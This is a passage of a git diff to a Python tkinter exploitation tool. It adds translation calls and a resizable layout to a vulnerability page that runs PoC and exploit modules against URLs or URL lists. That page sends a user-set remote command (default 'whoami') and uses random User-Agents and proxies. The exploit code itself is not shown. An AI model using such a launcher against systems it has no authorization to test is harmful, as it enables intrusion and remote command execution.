check.FileOrUrl(url) + if url_check == "isFile": + with open(url,'r') as f: + urls = f.read().strip('\n').split("\n") + return ["isFile",urls] + elif url_check == "isURL": + return ["isURL",url] + else: + return False + def switchCheck(self): + proxyconfig = self.configLoad.ProxyConfigRead() + logsconfig = self.configLoad.LogsConfigRead() + proxyswitch = proxyconfig['switch'] + logswitch = logsconfig['switch'] + return {"proxyswitch":proxyswitch,"logswitch":logswitch} +if __name__ == "__main__": + pass + diff --git a/pages/VulnPage.py b/pages/VulnPage.py index 4486703..4a614b7 100644 --- a/pages/VulnPage.py +++ b/pages/VulnPage.py @@ -1,354 +1,417 @@ -# coding:utf-8 -import threading -from tkinter import messagebox, ttk, filedialog - -import tkinter.font as tkFont -import tkinter as tk - -# try: -from core import core -# except: -# messagebox.showerror("错误","core加载出错,请检查杀毒软件是否删除文件!") - -from util import SystemCheck -from util import URLMethod -from util import RandomUA -from util import JsonMethod -from util import InputCheck -from util import ProxyCheck -from util import LogsMethod - -from com import Banner - -class VulnPage: - def __init__(self, windows): - # 操作系统类型 - self.sysType = SystemCheck.SystemType() - # 功能中proxy logs载入配置 - self.urlmethod = URLMethod.URLMethod() - - self.log = LogsMethod.LogsMethod() - - self.vulns = JsonMethod.JsonMethod() - - self.proxyCheck = ProxyCheck.ProxyCheck() - # 加载扫描核心 - self.core = core.core() - self.vulnconfig = self.vulns.VulnsConfigRead() - self.pocpath = self.vulnconfig["vulns"]['pocList'] - self.exppath = self.vulnconfig["vulns"]['expList'] - self.standmodel = self.vulnconfig["model"]["standmodel"] - self.asyncmodel = self.vulnconfig["model"]["asyncmodel"] - # 漏洞扫描 - tk.Label(windows, text="URL").place(x=50, y=30) - tk.Label(windows, text="User-Agent").place(x=20, y=60) - tk.Label(windows, text="PoC").place(x=55, y=90) - - tk.Button(windows, text="浏览", fg="white", bg="gray", activeforeground="white", command=self.urlsPath, - activebackground="black", cursor="hand2").place(x=550, y=25) - - # 漏洞扫描控件 - self.pocurl = tk.Entry(windows, width=60, bg='Ivory') - self.pocurl.place(x=100, y=30) - - self.User_Agent_EXP = ttk.Combobox(windows, width=58) - ua_list = ['自动'] - self.ua = RandomUA.RandomUA() - uas = self.ua.UserAgentList(100) - for i in uas: - ua_list.append(i) - self.User_Agent_EXP['value'] = ua_list - self.User_Agent_EXP.current(0) - self.User_Agent_EXP.place(x=100, y=60) - - self.info_pocs = ttk.Combobox(windows, width=58) - self.info_pocs['value'] = self.pocpath - self.info_pocs.current(0) - self.info_pocs.place(x=100, y=90) - - self.BtnPoC = tk.Button(windows, text="扫描", width=15, fg="white", font=tkFont.Font(size=12),command=self.btnPoC, - height=1, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") - self.BtnPoC.place(x=250, y=118) - # 反馈框 - self.vbar_poc = ttk.Scrollbar(windows) - self.info_text_poc = tk.Text(windows, width=80, height=30, yscrollcommand=self.vbar_poc.set) - self.info_text_poc.place(x=30, y=150) - self.info_text_poc.insert(tk.INSERT, Banner.PoC()) - self.vbar_poc.config(command=self.info_text_poc.yview) - self.vbar_poc.pack(side=tk.RIGHT, fill="y") - - # 漏洞利用 - tk.Button(windows, text="浏览", fg="white", bg="gray", activeforeground="white", command=self.ExpPath, - activebackground="black", cursor="hand2").place(x=1135, y=25) - - tk.Label(windows, text="利用地址").place(x=610, y=30) - self.url_exp = tk.Entry(windows, width=60, bg='Ivory') - self.url_exp.place(x=700, y=30) - - tk.Label(windows, text="执行命令").place(x=610, y=60) - self.cmd_exp = tk.Entry(windows, width=60, bg='Ivory') - self.cmd_exp.place(x=700, y=60) - self.cmd_exp.insert(0, "whoami") - - tk.Label(windows, text="EXP").place(x=610, y=90) - - self.info_exps = ttk.Combobox(windows, width=58) - self.info_exps['value'] = self.exppath - self.info_exps.current(0) - self.info_exps.place(x=700, y=90) - - self.BtnEXP = tk.Button(windows, text="EXP", width=15, fg="white", font=tkFont.Font(size=12),command=self.btnEXP, - height=1, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") - self.BtnEXP.place(x=850, y=118) - # 反馈框 - self.vbar_exp = ttk.Scrollbar(windows) - self.info_text_exp = tk.Text(windows, width=80, height=30, yscrollcommand=self.vbar_exp.set) - self.info_text_exp.place(x=610, y=150) - self.info_text_exp.insert(tk.INSERT, Banner.EXP()) - self.vbar_exp.config(command=self.info_text_exp.yview) - self.vbar_exp.pack(side=tk.LEFT, fill="y") - # 刷新按钮 - tk.Button(windows, text="F", fg="white", bg="gray", activeforeground="white", command=self.RefreshVar, - activebackground="black", cursor="hand2").place(x=30, y=85) - def RefreshVar(self): - self.vulnconfig = self.vulns.VulnsConfigRead() - self.pocpath = self.vulnconfig["vulns"]['pocList'] - self.exppath = self.vulnconfig["vulns"]['expList'] - self.info_pocs['value'] = self.pocpath - self.info_pocs.current(0) - self.info_exps['value'] = self.exppath - self.info_exps.current(0) - def PoC(self): - self.BtnPoC.config(state='disable') - attack = "PoC" - # 日志功能 - log = self.vulns.LogsConfigRead() - logSwitch = log['switch'] - # 代理配置 - proxy = self.vulns.ProxyConfigRead() - ProxyStute = proxy["switch"] - proxies = proxy['ip'] + ":" + proxy['port'] - proxies = { - "http": "http://%(proxy)s/" % {'proxy': proxies}, - "https": "http://%(proxy)s/" % {'proxy': proxies} - } - # 重新加载配置 - self.vulnconfig = self.vulns.VulnsConfigRead() - - self.pocpath = self.vulnconfig["vulns"]['pocList'] - self.exppath = self.vulnconfig["vulns"]['expList'] - - self.vulnpath = self.vulnconfig["path"] - self.standpath = self.vulnpath["standpath"] - self.asyncpath = self.vulnpath["asyncpath"] - - model = self.vulnconfig["modelSet"] - - ua = self.User_Agent_EXP.get() - poc = self.info_pocs.get() - cmd = self.cmd_exp.get() - pymodel = self.standmodel[0] - jsonmodel = self.standmodel[1] - yamlmodel = self.standmodel[2] - asyncmodel = self.asyncmodel - if ua == "自动": - ua = self.ua.UserAgent() - check = self.PoCInputCheck() - if check == False: - messagebox.showerror("错误", "URL信息错误!") - else: - # 载入地址 - List_Url = [] - if check[0] == "isFile": - urls = check[-1] - for i in urls: - i = self.urlmethod.StandURL(i) - List_Url.append(i) - else: - url = self.urlmethod.StandURL(check[-1]) - List_Url.append(url) - if model == pymodel: - for i in List_Url: - try: - data = self.core.pyScan(i,proxies,poc,ProxyStute,attack,cmd) - self.info_text_poc.insert(tk.INSERT, data) - self.info_text_poc.insert(tk.INSERT, '\n') - except Exception as e: - data = f"未知错误 {e}" - self.info_text_poc.insert(tk.INSERT, data) - self.info_text_poc.insert(tk.INSERT, '\n') - if logSwitch == 1: - if "error" not in data: - self.log.vulnlogs(data) - else: - self.log.errorlogs(data) - elif model == asyncmodel: - for i in List_Url: - try: - data = self.core.asyncScan(i,proxies,poc,ProxyStute,attack) - self.info_text_poc.insert(tk.INSERT, data) - self.info_text_poc.insert(tk.INSERT, '\n') - except Exception as e: - data = f"未知错误 {e}" - self.info_text_poc.insert(tk.INSERT, data) - self.info_text_poc.insert(tk.INSERT, '\n') - if logSwitch == 1: - if "error" not in data: - self.log.vulnlogs(data) - else: - self.log.errorlogs(data) - elif model == jsonmodel or model == yamlmodel: - for i in List_Url: - data = self.core.YamlOrJsonRequest(poc,model) - self.info_text_poc.insert(tk.INSERT, data) - self.info_text_poc.insert(tk.INSERT, '\n') - if logSwitch == 1: - self.log.vulnlogs(data) - else: - return messagebox.showerror("错误", "model type error!\nYou can view the vulns.json and try again!") - self.BtnPoC.config(state='normal') - def EXP(self): - self.BtnEXP.config(state='disable') - attack = "EXP" - # 日志功能 - log = self.vulns.LogsConfigRead() - logSwitch = log['switch'] - # 代理配置 - proxy = self.vulns.ProxyConfigRead() - ProxyStute = proxy["switch"] - proxies = proxy['ip'] + ":" + proxy['port'] - proxies = { - "http": "http://%(proxy)s/" % {'proxy': proxies}, - "https": "http://%(proxy)s/" % {'proxy': proxies} - } - # 重新加载配置 - self.vulnconfig = self.vulns.VulnsConfigRead() - - self.pocpath = self.vulnconfig["vulns"]['pocList'] - self.exppath = self.vulnconfig["vulns"]['expList'] - - self.vulnpath = self.vulnconfig["path"] - self.standpath = self.vulnpath["standpath"] - self.asyncpath = self.vulnpath["asyncpath"] - - pymodel = self.standmodel[0] - asyncmodel = self.asyncmodel - - model = self.vulnconfig["modelSet"] - - ua = self.User_Agent_EXP.get() - exp = self.info_exps.get() - cmd = self.cmd_exp.get() - if ua == "自动": - ua = self.ua.UserAgent() - check = self.EXPInputCheck() - if check == False: - messagebox.showerror("错误", "URL或命令信息错误!") - else: - # 载入地址 - List_Url = [] - if check[0] == "isFile": - urls = check[-1] - for i in urls: - i = self.urlmethod.StandURL(i) - List_Url.append(i) - else: - url = self.urlmethod.StandURL(check[-1]) - List_Url.append(url) - if model == pymodel: - for i in List_Url: - data = self.core.pyScan(i,proxies,exp,ProxyStute,attack,cmd) - self.info_text_exp.insert(tk.INSERT, data) - self.info_text_exp.insert(tk.INSERT, '\n') - if logSwitch == 1: - if "error" not in data: - self.log.vulnlogs(data) - else: - self.log.errorlogs(data) - elif model == asyncmodel: - for i in List_Url: - data = self.core.asyncScan(i,proxies,exp,ProxyStute,attack) - self.info_text_exp.insert(tk.INSERT, data) - self.info_text_exp.insert(tk.INSERT, '\n') - if logSwitch == 1: - if "error" not in data: - self.log.vulnlogs(data) - else: - self.log.errorlogs(data) - else: - return messagebox.showerror("错误","model type error!noly support py or async!\nYou can change model in the vulns.json and try again!") - self.BtnEXP.config(state='normal') - def btnPoC(self): - try: - threadFofa = threading.Thread(target=self.PoC) - threadFofa.setDaemon(True) - threadFofa.start() - # threadFofa.join() - except Exception as e: - messagebox.showinfo('error', f'unkown error\n{e}') - def btnEXP(self): - try: - threadFofa = threading.Thread(target=self.EXP) - threadFofa.setDaemon(True) - threadFofa.start() - # threadFofa.join() - except Exception as e: - messagebox.showinfo('error', f'unkown error\n{e}') - # messagebox.showinfo("提示","因不可抗因素,功能未开放······") - def PoCInputCheck(self): - check = InputCheck.InputCheck() - url = self.pocurl.get() - url_check = check.isNull(url) - if url_check == True: - return False - else: - url_check = check.FileOrUrl(url) - if url_check == "isFile": - with open(url, 'r') as f: - urls = f.read().strip('\n').split("\n") - return ["isFile", urls] - elif url_check == "isURL": - return ["isURL", url] - else: - return False - - def EXPInputCheck(self): - check = InputCheck.InputCheck() - url = self.url_exp.get() - cmd = self.cmd_exp.get() - url_check = check.isNull(url) - cmd_check = check.isNull(cmd) - if url_check == True or cmd_check == True: - return False - else: - url_check = check.FileOrUrl(url) - if url_check == "isFile": - with open(url, 'r') as f: - urls = f.read().strip('\n').split("\n") - return ["isFile", urls] - elif url_check == "isURL": - return ["isURL", url] - else: - return False - - def ExpPath(self): - self.dirsPath(self.url_exp) - def urlsPath(self): - self.dirsPath(self.pocurl) - def dirsPath(self, entry): - filetypes = [('txt', '*.txt'), ('all', '*.*')] - path = filedialog.askopenfilename(title='文件选择', filetypes=filetypes) - # systype - if self.sysType == "Windows": - # windows - path = path.replace('/', '\\') - else: - # linux - path = path.replace('\\', '/') - entry.delete(0, 'end') - entry.insert('insert', path) - def jsonPoCLoad(self): - pass - -if __name__ == "__main__": - pass +# coding:utf-8 +import threading +from tkinter import messagebox, ttk, filedialog + +import tkinter.font as tkFont +import tkinter as tk + +# try: +from core import core +# except: +# messagebox.showerror(tr("common.error"),"core加载出错,请检查杀毒软件是否删除文件!") + +from util import SystemCheck +from util import URLMethod +from util import RandomUA +from util import JsonMethod +from util import InputCheck +from util import ProxyCheck +from util import LogsMethod +from util.Translate import tr + +from com import Banner + +class VulnPage: + def __init__(self, windows): + # 操作系统类型 + self.sysType = SystemCheck.SystemType() + # 功能中proxy logs载入配置 + self.urlmethod = URLMethod.URLMethod() + + self.log = LogsMethod.LogsMethod() + + self.vulns = JsonMethod.JsonMethod() + + self.proxyCheck = ProxyCheck.ProxyCheck() + # 加载扫描核心 + self.core = core.core() + self.vulnconfig = self.vulns.VulnsConfigRead() + self.pocpath = self.vulnconfig["vulns"]['pocList'] + self.exppath = self.vulnconfig["vulns"]['expList'] + self.standmodel = self.vulnconfig["model"]["standmodel"] + self.asyncmodel = self.vulnconfig["model"]["asyncmodel"] + # 漏洞扫描(mise en page mesurée et redimensionnable) + lab_url = tk.Label(windows, text="URL") + lab_ua = tk.Label(windows, text="User-Agent") + lab_poc = tk.Label(windows, text="PoC") + lab_exp = tk.Label(windows, text=tr("vuln.exploit_url")) + lab_cmd = tk.Label(windows, text=tr("vuln.cmd")) + lab_exp_lbl = tk.Label(windows, text="EXP") + + self.pocurl = tk.Entry(windows, bg='Ivory') + self.url_exp = tk.Entry(windows, bg='Ivory') + self.cmd_exp = tk.Entry(windows, bg='Ivory') + self.cmd_exp.insert(0, "whoami") + self.User_Agent_EXP = ttk.Combobox(windows) + ua_list = [tr("common.auto")] + self.ua = RandomUA.RandomUA() + uas = self.ua.UserAgentList(100) + for i in uas: + ua_list.append(i) + self.User_Agent_EXP['value'] = ua_list + self.User_Agent_EXP.current(0) + self.info_pocs = ttk.Combobox(windows) + self.info_pocs['value'] = self.pocpath + self.info_pocs.current(0) + self.info_exps = ttk.Combobox(windows) + self.info_exps['value'] = self.exppath + self.info_exps.current(0) + + btn_browse_poc = tk.Button(windows, text=tr("common.browse"), fg="white", bg="gray", + activeforeground="white", command=self.urlsPath, activebackground="black", cursor="hand2") + btn_browse_exp = tk.Button(windows, text=tr("common.browse"), fg="white", bg="gray", + activeforeground="white", command=self.ExpPath, activebackground="black", cursor="hand2") + self.BtnPoC = tk.Button(windows, text=tr("common.scan"), fg="white", font=tkFont.Font(size=12), + command=self.btnPoC, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") + self.BtnEXP = tk.Button(windows, text="EXP", fg="white", font=tkFont.Font(size=12), + command=self.btnEXP, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") + btn_refresh = tk.Button(windows, text="F", fg="white", bg="gray", activeforeground="white", + command=self.RefreshVar, activebackground="black", cursor="hand2") + + # 反馈框 + self.vbar_poc = ttk.Scrollbar(windows) + self.info_text_poc = tk.Text(windows, yscrollcommand=self.vbar_poc.set) + self.info_text_poc.insert(tk.INSERT, Banner.PoC()) + self.vbar_poc.config(command=self.info_text_poc.yview) + self.vbar_exp = ttk.Scrollbar(windows) + self.info_text_exp = tk.Text(windows, yscrollcommand=self.vbar_exp.set) + self.info_text_exp.insert(tk.INSERT, Banner.EXP()) + self.vbar_exp.config(command=self.info_text_exp.yview) + + # mesures réelles (constantes pour la langue courante), positions via _layout() + self.windows = windows + self._lw = max(lab_url.winfo_reqwidth(), lab_ua.winfo_reqwidth(), lab_poc.winfo_reqwidth()) + self._rw = max(lab_exp.winfo_reqwidth(), lab_cmd.winfo_reqwidth(), lab_exp_lbl.winfo_reqwidth()) + self._eh = max(self.pocurl.winfo_reqheight(), lab_ua.winfo_reqheight()) + self._row_h = self._eh + 10 + self._bwb = btn_browse_poc.winfo_reqwidth() + 24 + self._btn_h = self.BtnPoC.winfo_reqheight() + self._fw = btn_refresh.winfo_reqwidth() + 10 + self._lab = (lab_url, lab_ua, lab_poc, lab_exp, lab_cmd, lab_exp_lbl) + self._btn_browse_poc = btn_browse_poc + self._btn_browse_exp = btn_browse_exp + self._btn_refresh = btn_refresh + self._w = 0 + self._h = 0 + + self._layout() + self._apply_minsize() + windows.bind("", self._on_configure) + + def _on_configure(self, event): + # recalcul quand la taille de l'onglet change (fenêtre redimensionnable) + if event.widget is self.windows and (event.width, event.height) != (self._w, self._h): + self._layout() + + def _apply_minsize(self): + top = self.windows.winfo_toplevel() + need_w = 10 + self._lw + 15 + 220 + self._bwb + 20 + self._rw + 15 + 220 + self._bwb + 10 + need_h = 25 + 4 * self._row_h + self._btn_h + 20 + 200 + try: + cur_w, cur_h = top.wm_minsize() + cur_w, cur_h = int(cur_w), int(cur_h) + except Exception: + cur_w = cur_h = 1 + top.minsize(max(cur_w, need_w), max(cur_h, need_h)) + + def _layout(self): + w, h = self.windows.winfo_width(), self.windows.winfo_height() + if w < 100: w = self.windows.winfo_screenwidth() - 4 + if h < 100: h = self.windows.winfo_screenheight() - 120 + self._w, self._h = w, h + lw, rw, eh, row_h, bwb = self._lw, self._rw, self._eh, self._row_h, self._bwb + lab_url, lab_ua, lab_poc, lab_exp, lab_cmd, lab_exp_lbl = self._lab + + lx = 10 + ex = lx + lw + 15 + # largeur des champs : fraction de la fenêtre, garantie sans chevauchement + ew = max(200, int((w - ex - rw - 2 * bwb - 65) * 0.48)) + rcx = ex + ew + bwb + 20 # début colonne droite (libellés) + rex = rcx + rw + 15 # champs colonne droite + rew = max(200, w - rex - bwb - 10) + y0 = 25 + y1 = y0 + row_h + y2 = y1 + row_h + yb = y2 + row_h + + lab_url.place(x=lx, y=y0 + 4) + lab_ua.place(x=lx, y=y1 + 4) + # bouton F (actualisation) à gauche du libellé PoC, comme à l'origine + self._btn_refresh.place(x=lx, y=y2, width=self._fw, height=eh) + lab_poc.place(x=lx + self._fw + 10, y=y2 + 4) + lab_exp.place(x=rcx, y=y0 + 4) + lab_cmd.place(x=rcx, y=y1 + 4) + lab_exp_lbl.place(x=rcx, y=y2 + 4) + self.pocurl.place(x=ex, y=y0, width=ew) + self.User_Agent_EXP.place(x=ex, y=y1, width=ew) + self.info_pocs.place(x=ex, y=y2, width=ew) + self.url_exp.place(x=rex, y=y0, width=rew) + self.cmd_exp.place(x=rex, y=y1, width=rew) + self.info_exps.place(x=rex, y=y2, width=rew) + self._btn_browse_poc.place(x=ex + ew + 10, y=y0, width=bwb, height=eh) + self._btn_browse_exp.place(x=rex + rew + 10, y=y0, width=bwb, height=eh) + self.BtnPoC.place(x=ex, y=yb, width=self.BtnPoC.winfo_reqwidth() + 40, height=self._btn_h + 6) + self.BtnEXP.place(x=rex, y=yb, width=self.BtnEXP.winfo_reqwidth() + 40, height=self._btn_h + 6) + + # 反馈框 + ty = yb + self._btn_h + 20 + th = max(150, h - ty - 15) + half = (w - 30) // 2 + tw = half - 18 + self.info_text_poc.place(x=10, y=ty, width=tw, height=th) + self.vbar_poc.place(x=10 + tw + 2, y=ty, width=14, height=th) + rx = 10 + half + 10 + self.info_text_exp.place(x=rx, y=ty, width=tw, height=th) + self.vbar_exp.place(x=rx + tw + 2, y=ty, width=14, height=th) + def RefreshVar(self): + self.vulnconfig = self.vulns.VulnsConfigRead() + self.pocpath = self.vulnconfig["vulns"]['pocList'] + self.exppath = self.vulnconfig["vulns"]['expList'] + self.info_pocs['value'] = self.pocpath + self.info_pocs.current(0) + self.info_exps['value'] = self.exppath + self.info_exps.current(0) + def PoC(self): + self.BtnPoC.config(state='disable') + attack = "PoC" + # 日志功能 + log = self.vulns.LogsConfigRead() + logSwitch = log['switch'] + # 代理配置 + proxy = self.vulns.ProxyConfigRead() + ProxyStute = proxy["switch"] + proxies = proxy['ip'] + ":" + proxy['port'] + proxies = { + "http": "http://%(proxy)s/" % {'proxy': proxies}, + "https": "http://%(proxy)s/" % {'proxy': proxies} + } + # 重新加载配置 + self.vulnconfig = self.vulns.VulnsConfigRead() + + self.pocpath = self.vulnconfig["vulns"]['pocList'] + self.exppath = self.vulnconfig["vulns"]['expList'] + + self.vulnpath = self.vulnconfig["path"] + self.standpath = self.vulnpath["standpath"] + self.asyncpath = self.vulnpath["asyncpath"] + + model = self.vulnconfig["modelSet"] + + ua = self.User_Agent_EXP.get() + poc = self.info_pocs.get() + cmd = self.cmd_exp.get() + pymodel = self.standmodel[0] + jsonmodel = self.standmodel[1] + yamlmodel = self.standmodel[2] + asyncmodel = self.asyncmodel + if ua == tr("common.auto"): + ua = self.ua.UserAgent() + check = self.PoCInputCheck() + if check == False: + messagebox.showerror(tr("common.error"), tr("vuln.url_err")) + else: + # 载入地址 + List_Url = [] + if check[0] == "isFile": + urls = check[-1] + for i in urls: + i = self.urlmethod.StandURL(i) + List_Url.append(i) + else: + url = self.urlmethod.StandURL(check[-1]) + List_Url.append(url) + if model == pymodel: + for i in List_Url: + try: + data = self.core.pyScan(i,proxies,poc,ProxyStute,attack,cmd) + self.info_text_poc.insert(tk.INSERT, data) + self.info_text_poc.insert(tk.INSERT, '\n') + except Exception as e: + data = tr("common.unknown_error") + f" {e}" + self.info_text_poc.insert(tk.INSERT, data) + self.info_text_poc.insert(tk.INSERT, '\n') + if logSwitch == 1: + if "error" not in data: + self.log.vulnlogs(data) + else: + self.log.errorlogs(data) + elif model == asyncmodel: + for i in List_Url: + try: + data = self.core.asyncScan(i,proxies,poc,ProxyStute,attack) + self.info_text_poc.insert(tk.INSERT, data) + self.info_text_poc.insert(tk.INSERT, '\n') + except Exception as e: + data = tr("common.unknown_error") + f" {e}" + self.info_text_poc.insert(tk.INSERT, data) + self.info_text_poc.insert(tk.INSERT, '\n') + if logSwitch == 1: + if "error" not in data: + self.log.vulnlogs(data) + else: + self.log.errorlogs(data) + elif model == jsonmodel or model == yamlmodel: + for i in List_Url: + data = self.core.YamlOrJsonRequest(poc,model) + self.info_text_poc.insert(tk.INSERT, data) + self.info_text_poc.insert(tk.INSERT, '\n') + if logSwitch == 1: + self.log.vulnlogs(data) + else: + return messagebox.showerror(tr("common.error"), "model type error!\nYou can view the vulns.json and try again!") + self.BtnPoC.config(state='normal') + def EXP(self): + self.BtnEXP.config(state='disable') + attack = "EXP" + # 日志功能 + log = self.vulns.LogsConfigRead() + logSwitch = log['switch'] + # 代理配置 + proxy = self.vulns.ProxyConfigRead() + ProxyStute = proxy["switch"] + proxies = proxy['ip'] + ":" + proxy['port'] + proxies = { + "http": "http://%(proxy)s/" % {'proxy': proxies}, + "https": "http://%(proxy)s/" % {'proxy': proxies} + } + # 重新加载配置 + self.vulnconfig = self.vulns.VulnsConfigRead() + + self.pocpath = self.vulnconfig["vulns"]['pocList'] + self.exppath = self.vulnconfig["vulns"]['expList'] + + self.vulnpath = self.vulnconfig["path"] + self.standpath = self.vulnpath["standpath"] + self.asyncpath = self.vulnpath["asyncpath"] + + pymodel = self.standmodel[0] + asyncmodel = self.asyncmodel + + model = self.vulnconfig["modelSet"] + + ua = self.User_Agent_EXP.get() + exp = self.info_exps.get() + cmd = self.cmd_exp.get() + if ua == tr("common.auto"): + ua = self.ua.UserAgent() + check = self.EXPInputCheck() + if check == False: + messagebox.showerror(tr("common.error"), tr("vuln.url_cmd_err")) + else: + # 载入地址 + List_Url = [] + if check[0] == "isFile": + urls = check[-1] + for i in urls: + i = self.urlmethod.StandURL(i) + List_Url.append(i) + else: + url = self.urlmethod.StandURL(check[-1]) + List_Url.append(url) + if model == pymodel: + for i in List_Url: + data = self.core.pyScan(i,proxies,exp,ProxyStute,attack,cmd) + self.info_text_exp.insert(tk.INSERT, data) + self.info_text_exp.insert(tk.INSERT, '\n') + if logSwitch == 1: + if "error" not in data: + self.log.vulnlogs(data) + else: + self.log.errorlogs(data) + elif model == asyncmodel: + for i in List_Url: + data = self.core.asyncScan(i,proxies,exp,ProxyStute,attack) + self.info_text_exp.insert(tk.INSERT, data) + self.info_text_exp.insert(tk.INSERT, '\n') + if logSwitch == 1: + if "error" not in data: + self.log.vulnlogs(data) + else: + self.log.errorlogs(data) + else: + return messagebox.showerror(tr("common.error"),"model type error!noly support py or async!\nYou can change model in the vulns.json and try again!") + self.BtnEXP.config(state='normal') + def btnPoC(self): + try: + threadFofa = threading.Thread(target=self.PoC) + threadFofa.setDaemon(True) + threadFofa.start() + # threadFofa.join() + except Exception as e: + messagebox.showinfo('error', f'unkown error\n{e}') + def btnEXP(self): + try: + threadFofa = threading.Thread(target=self.EXP) + threadFofa.setDaemon(True) + threadFofa.start() + # threadFofa.join() + except Exception as e: + messagebox.showinfo('error', f'unkown error\n{e}') + # messagebox.showinfo(tr("common.info"),"因不可抗因素,功能未开放······") + def PoCInputCheck(self): + check = InputCheck.InputCheck() + url = self.pocurl.get() + url_check = check.isNull(url) + if url_check == True: + return False + else: + url_check = check.FileOrUrl(url) + if url_check == "isFile": + with open(url, 'r') as f: + urls = f.read().strip('\n').split("\n") + return ["isFile", urls] + elif url_check == "isURL": + return ["isURL", url] + else: + return False + + def EXPInputCheck(self): + check = InputCheck.InputCheck() + url = self.url_exp.get() + cmd = self.cmd_exp.get() + url_check = check.isNull(url) + cmd_check = check.isNull(cmd) + if url_check == True or cmd_check == True: + return False + else: + url_check = check.FileOrUrl(url) + if url_check == "isFile": + with open(url, 'r') as f: + urls = f.read().strip('\n').split("\n") + return ["isFile", urls] + elif url_check == "isURL": + return ["isURL", url] + else: + return False + + def ExpPath(self): + self.dirsPath(self.url_exp) + def urlsPath(self): + self.dirsPath(self.pocurl) + def dirsPath(self, entry): + filetypes = [('txt', '*.txt'), ('all', '*.*')] + path = filedialog.askopenfilename(title=tr("common.file_select"), filetypes=filetypes) + # systype + if self.sysType == "Windows": + # windows + path = path.replace('/', '\\') + else: + # linux + path = path.replace('\\', '/') + entry.delete(0, 'end') + entry.insert('insert', path) + def jsonPoCLoad(self): + pass + +if __name__ == "__main__": + pass diff --git a/pages/config/FofaConfig.py b/pages/config/FofaConfig.py index 931cefe..74afd74 100644 --- a/pages/config/FofaConfig.py +++ b/pages/config/FofaConfig.py @@ -6,6 +6,7 @@ import os from util import JsonMethod +from util.Translate import tr class FofaConfig: def __init__(self): @@ -26,7 +27,7 @@ def page(self): self.configinit(self.fofapath) self.window = Toplevel(name='fofa') - self.window.title("Fofa设置") + self.window.title(tr("cfg.fofa_title")) self.window.geometry("380x210") self.window.resizable(0, 0) @@ -62,11 +63,11 @@ def page(self): self.fofa_size_entry.insert('insert', fofaconfig['size']) # 保存与取消 - Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, + Button(self.window, text=tr("common.save"), font=tkFont.Font(size=12), width=9, command=self.update, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=50, y=160) - Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, + Button(self.window, text=tr("common.cancel"), font=tkFont.Font(size=12), width=9, command=self.window.destroy, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=240, y=160) self.window.mainloop() @@ -83,7 +84,7 @@ def update(self): } self.config = JsonMethod.JsonMethod() self.config.JsonWrite(data,self.fofapath) - messagebox.showinfo("更新","更新成功!") + messagebox.showinfo(tr("common.update"),tr("common.update_success")) if __name__ == "__main__": pass diff --git a/pages/config/LogConfig.py b/pages/config/LogConfig.py index ddeb9d8..01cd0ba 100644 --- a/pages/config/LogConfig.py +++ b/pages/config/LogConfig.py @@ -6,6 +6,7 @@ import os from util import JsonMethod +from util.Translate import tr class LogConfig: def __init__(self): @@ -28,12 +29,12 @@ def page(self): logconfig = self.config.JsonRead(self.logpath) self.window = Toplevel(name='log') - self.window.title("日志设置") + self.window.title(tr("cfg.log_title")) self.window.geometry("400x240") self.window.resizable(0, 0) self.status_var = StringVar(self.window) - self.proxy_status = ttk.Checkbutton(self.window,variable=self.status_var,text="启用",onvalue=1,offvalue=0,cursor="hand2",command=self.switchCheck) + self.proxy_status = ttk.Checkbutton(self.window,variable=self.status_var,text=tr("common.enable"),onvalue=1,offvalue=0,cursor="hand2",command=self.switchCheck) self.proxy_status.place(x=160,y=20) self.status_var.set(logconfig['switch']) @@ -66,11 +67,11 @@ def page(self): self.errorlog_path.insert('insert', logconfig['errorlog_path']) # 保存与取消 - Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, + Button(self.window, text=tr("common.save"), font=tkFont.Font(size=12), width=9, command=self.update, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=50, y=190) - Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, + Button(self.window, text=tr("common.cancel"), font=tkFont.Font(size=12), width=9, command=self.window.destroy, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2").place(x=240, y=190) @@ -92,7 +93,7 @@ def update(self): } self.config = JsonMethod.JsonMethod() self.config.JsonWrite(data,self.logpath) - messagebox.showinfo("更新","更新成功!") + messagebox.showinfo(tr("common.update"),tr("common.update_success")) def switchCheck(self): switch = int(self.status_var.get()) if switch == 0: diff --git a/pages/config/ProxyConfig.py b/pages/config/ProxyConfig.py index e0446d1..f012f06 100644 --- a/pages/config/ProxyConfig.py +++ b/pages/config/ProxyConfig.py @@ -8,6 +8,7 @@ from util import JsonMethod from util import ProxyCheck from util import SystemCheck +from util.Translate import tr class ProxyConfig: def __init__(self): @@ -32,7 +33,7 @@ def page(self): self.configinit(self.proxypath) self.window = Toplevel(name='proxy') - self.window.title("代理设置") + self.window.title(tr("cfg.proxy_title")) self.window.geometry("400x340") self.window.resizable(0, 0) @@ -40,7 +41,7 @@ def page(self): proxyconfig = self.config.JsonRead(self.proxypath) self.status_var = StringVar(self.window) - self.proxy_status = ttk.Checkbutton(self.window,variable=self.status_var,text="启用",onvalue=1,offvalue=0,cursor="hand2",command=self.switchCheck) + self.proxy_status = ttk.Checkbutton(self.window,variable=self.status_var,text=tr("common.enable"),onvalue=1,offvalue=0,cursor="hand2",command=self.switchCheck) self.proxy_status.place(x=160,y=20) self.status_var.set(proxyconfig['switch']) @@ -78,24 +79,24 @@ def page(self): self.passwd_entry.delete(0, 'end') self.passwd_entry.insert('insert', proxyconfig['passwd']) # 保存与取消 - self.checkBtn = Button(self.window, text="检查", font=tkFont.Font(size=12), width=9, command=self.proxycheck, + self.checkBtn = Button(self.window, text=tr("common.check"), font=tkFont.Font(size=12), width=9, command=self.proxycheck, height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", cursor="hand2") self.checkBtn.place(x=50, y=210) - - Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, + + Button(self.window, text=tr("common.save"), font=tkFont.Font(size=12), width=9, 